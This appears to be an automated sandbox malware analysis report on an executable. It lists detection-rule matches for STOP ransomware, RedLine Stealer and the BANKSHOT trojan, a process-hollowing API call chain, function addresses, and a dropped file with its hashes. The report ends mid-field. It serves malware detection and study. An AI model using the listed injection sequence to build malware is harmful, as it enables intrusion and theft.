Source: 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.1834718747.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000007.00000002.1722443203.0000000001B9E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000003.00000002.1658031837.0000000005E90000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.2868783397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Hidden Cobra BANKSHOT trojan Author: Florian Roth
Source: 00000000.00000002.1634521884.0000000004434000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.2351592951.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: Process Memory Space: 8jvTeVxooN.exe PID: 7120, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 8jvTeVxooN.exe PID: 2700, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 8jvTeVxooN.exe PID: 4444, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 8jvTeVxooN.exe PID: 5772, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 8jvTeVxooN.exe PID: 7004, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 8jvTeVxooN.exe PID: 2312, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 8jvTeVxooN.exe PID: 6428, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 8jvTeVxooN.exe PID: 3228, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 8jvTeVxooN.exe PID: 6064, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 8jvTeVxooN.exe PID: 3228, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E70110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		0_2_05E70110
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E90110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,		3_2_05E90110

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_00404F7E	0_2_00404F7E
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E73520	0_2_05E73520
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E77520	0_2_05E77520
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E9D7F1	0_2_05E9D7F1
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E7A79A	0_2_05E7A79A
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E7C760	0_2_05E7C760
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E7E6E0	0_2_05E7E6E0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05EBB69F	0_2_05EBB69F
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E7A699	0_2_05E7A699
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E9D1A4	0_2_05E9D1A4
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05EBE141	0_2_05EBE141
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E79120	0_2_05E79120
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E770E0	0_2_05E770E0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E730F0	0_2_05E730F0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E800D0	0_2_05E800D0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E7B0B0	0_2_05E7B0B0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E7A026	0_2_05E7A026
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E8F030	0_2_05E8F030
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E7B000	0_2_05E7B000
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E77393	0_2_05E77393
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05EBE37C	0_2_05EBE37C
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05EF22C0	0_2_05EF22C0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E77220	0_2_05E77220
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E75DE7	0_2_05E75DE7
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E75DF7	0_2_05E75DF7
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05EB2D1E	0_2_05EB2D1E
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05EA4E9F	0_2_05EA4E9F
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E78E60	0_2_05E78E60
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E759F7	0_2_05E759F7
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E789D0	0_2_05E789D0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E9E9A3	0_2_05E9E9A3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E9F9B0	0_2_05E9F9B0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E7A916	0_2_05E7A916
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E918D0	0_2_05E918D0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E77880	0_2_05E77880
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E7DBE0	0_2_05E7DBE0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E72B60	0_2_05E72B60
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E80B00	0_2_05E80B00
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E77A80	0_2_05E77A80
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 0_2_05E7CA10	0_2_05E7CA10
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040D240	1_2_0040D240
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00419F90	1_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00405057	1_2_00405057
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040C070	1_2_0040C070
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0042E003	1_2_0042E003
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0042F010	1_2_0042F010
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00408030	1_2_00408030
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_004070E0	1_2_004070E0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00410160	1_2_00410160
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_004C8113	1_2_004C8113
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_004021C0	1_2_004021C0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_004C9343	1_2_004C9343
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0044237E	1_2_0044237E
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00405447	1_2_00405447
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00405457	1_2_00405457
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_004084C0	1_2_004084C0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_004344FF	1_2_004344FF
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00449506	1_2_00449506
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0043E5A3	1_2_0043E5A3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0044B5B1	1_2_0044B5B1
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040A660	1_2_0040A660
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00409686	1_2_00409686
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0041E690	1_2_0041E690
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00406740	1_2_00406740
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00402750	1_2_00402750
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040A710	1_2_0040A710
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040F730	1_2_0040F730
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00408780	1_2_00408780
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0044D7A1	1_2_0044D7A1
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0042C804	1_2_0042C804
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00406880	1_2_00406880
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00481920	1_2_00481920
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0044D9DC	1_2_0044D9DC
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_004069F3	1_2_004069F3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00449A71	1_2_00449A71
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00443B40	1_2_00443B40
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00402B80	1_2_00402B80
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00406B80	1_2_00406B80
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00409CF9	1_2_00409CF9
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0044ACFF	1_2_0044ACFF
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040DD40	1_2_0040DD40
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00427D6C	1_2_00427D6C
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0040BDC0	1_2_0040BDC0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00409DFA	1_2_00409DFA
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_0042CE51	1_2_0042CE51
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00406EE0	1_2_00406EE0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00409F76	1_2_00409F76
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00420F30	1_2_00420F30
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 1_2_00449FE3	1_2_00449FE3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E93520	3_2_05E93520
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E97520	3_2_05E97520
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EBD7F1	3_2_05EBD7F1
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E9A79A	3_2_05E9A79A
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E9C760	3_2_05E9C760
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E9E6E0	3_2_05E9E6E0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E9A699	3_2_05E9A699
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EDB69F	3_2_05EDB69F
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EBD1A4	3_2_05EBD1A4
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EDE141	3_2_05EDE141
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E99120	3_2_05E99120
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E970E0	3_2_05E970E0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E930F0	3_2_05E930F0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EA00D0	3_2_05EA00D0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E9B0B0	3_2_05E9B0B0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E9A026	3_2_05E9A026
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EAF030	3_2_05EAF030
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E9B000	3_2_05E9B000
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E97393	3_2_05E97393
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EDE37C	3_2_05EDE37C
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05F122C0	3_2_05F122C0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E97220	3_2_05E97220
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E95DE7	3_2_05E95DE7
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E95DF7	3_2_05E95DF7
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05ED2D1E	3_2_05ED2D1E
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EC4E9F	3_2_05EC4E9F
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E98E60	3_2_05E98E60
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E959F7	3_2_05E959F7
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E989D0	3_2_05E989D0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EBE9A3	3_2_05EBE9A3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EBF9B0	3_2_05EBF9B0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E9A916	3_2_05E9A916
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EB18D0	3_2_05EB18D0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E97880	3_2_05E97880
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E9DBE0	3_2_05E9DBE0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E92B60	3_2_05E92B60
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05EA0B00	3_2_05EA0B00
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E97A80	3_2_05E97A80
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 3_2_05E9CA10	3_2_05E9CA10
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0042E003	4_2_0042E003
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040D240	4_2_0040D240
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0041E690	4_2_0041E690
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040F730	4_2_0040F730
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00481920	4_2_00481920
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00419F90	4_2_00419F90
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D050	4_2_0050D050
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00405057	4_2_00405057
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040C070	4_2_0040C070
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0042F010	4_2_0042F010
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D008	4_2_0050D008
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00408030	4_2_00408030
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D028	4_2_0050D028
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_004070E0	4_2_004070E0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D090	4_2_0050D090
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050D0A8	4_2_0050D0A8
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00410160	4_2_00410160
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_004C8113	4_2_004C8113
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_004021C0	4_2_004021C0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_004C9343	4_2_004C9343
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0044237E	4_2_0044237E
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00405447	4_2_00405447
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00405457	4_2_00405457
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_004084C0	4_2_004084C0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050C4E0	4_2_0050C4E0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_004344FF	4_2_004344FF
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00449506	4_2_00449506
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0043E5A3	4_2_0043E5A3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0044B5B1	4_2_0044B5B1
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040A660	4_2_0040A660
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00409686	4_2_00409686
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00406740	4_2_00406740
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00402750	4_2_00402750
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040A710	4_2_0040A710
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00408780	4_2_00408780
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0044D7A1	4_2_0044D7A1
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0042C804	4_2_0042C804
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00406880	4_2_00406880
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050C960	4_2_0050C960
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050C928	4_2_0050C928
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0044D9DC	4_2_0044D9DC
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_004069F3	4_2_004069F3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050C988	4_2_0050C988
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050C9A8	4_2_0050C9A8
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00449A71	4_2_00449A71
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_004E1AB0	4_2_004E1AB0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00443B40	4_2_00443B40
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CB78	4_2_0050CB78
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00402B80	4_2_00402B80
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00406B80	4_2_00406B80
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00409CF9	4_2_00409CF9
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0044ACFF	4_2_0044ACFF
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040DD40	4_2_0040DD40
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CD60	4_2_0050CD60
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0040BDC0	4_2_0040BDC0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CDF0	4_2_0050CDF0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00409DFA	4_2_00409DFA
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CE58	4_2_0050CE58
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0042CE51	4_2_0042CE51
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00406EE0	4_2_00406EE0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00409F76	4_2_00409F76
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00420F30	4_2_00420F30
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CF28	4_2_0050CF28
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CFC0	4_2_0050CFC0
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_00449FE3	4_2_00449FE3
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: 4_2_0050CF90	4_2_0050CF90

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\173a81f0-f242-45ec-8685-036e62f4f13f\build2.exe 9B0DA8AB12D9CA7CC05B9553BA3D3407E4EE38CB9A74298096022B2B46563FB2
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe 9B0DA8AB12D9CA7CC05B9553BA3D3407E4EE38CB9A74298096022B2B46563FB2

Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 05EA0160 appears 49 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 05E98EC0 appears 57 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 00428C81 appears 66 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 00420EC2 appears 40 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 004547A0 appears 64 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 00422587 appears 48 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 05EB8EC0 appears 57 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 05EC0160 appears 49 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 0042F7C0 appears 129 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 0044F23E appears 108 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 00428520 appears 125 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 00450870 appears 52 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 00454E50 appears 62 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 00441A25 appears 44 times
Source: C:\Users\user\Desktop\8jvTeVxooN.exe	Code function: String function: 0044F26C appears 41 times

Source: 8jvTeVxooN.exe, 00000000.00000000.1628458487.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe, 00000001.00000003.1646308743.00000000030B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe, 00000001.00000000.1631797937.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe, 00000003.00000002.1657577957.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe, 00000004.00000000.1654475096.00000000040A0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe, 00000005.00000002.1668044410.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe, 00000006.00000000.1663574562.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe, 00000009.00000000.1732916310.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe, 0000000A.00000000.1736359437.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe, 0000000B.00000000.1813508417.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe, 0000000D.00000000.1819539426.00000000040A0000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe
Source: 8jvTeVxooN.exe.1.dr	Binary or memory string: OriginalFilenameFires( vs 8jvTeVxooN.exe

Source: 8jvTeVxooN.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = 